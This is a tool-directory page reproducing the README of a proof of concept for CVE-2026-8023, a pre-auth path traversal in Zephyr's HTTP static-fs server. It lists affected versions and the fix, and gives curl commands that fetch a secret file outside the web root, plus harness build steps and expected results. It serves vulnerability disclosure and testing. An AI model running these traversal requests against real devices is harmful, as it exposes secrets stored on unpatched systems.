Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8023 — PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | Kitploit
Tools/GitHubGitHub/ret2c/cve-2026-8023
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubret2c/cve-2026-8023

CVE-2026-8023

PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2026-8023 — Zephyr HTTP static-fs path traversal (PoC)

Pre-auth path traversal in Zephyr's HTTP server static-fs handler (subsys/net/lib/http) when wildcard resource matching (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) is used with HTTP_RESOURCE_TYPE_STATIC_FS. Affects both HTTP/1.1 and HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

  • Affected versions: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
  • Confirmed against: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • Introduced: commit e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • Commit fix: zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Reproduce

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Copy the contents of this repo's pocs/ into zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Inside container:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

The harness mounts a LittleFS image, writes a secret at /littlefs/device.env outside the /littlefs/www/ web root, exposes a wildcard static-fs route, then issues four loopback requests:

Download Tool
ProbeRequestExpected
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + secret
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (no decode)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)secret bytes
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)no secret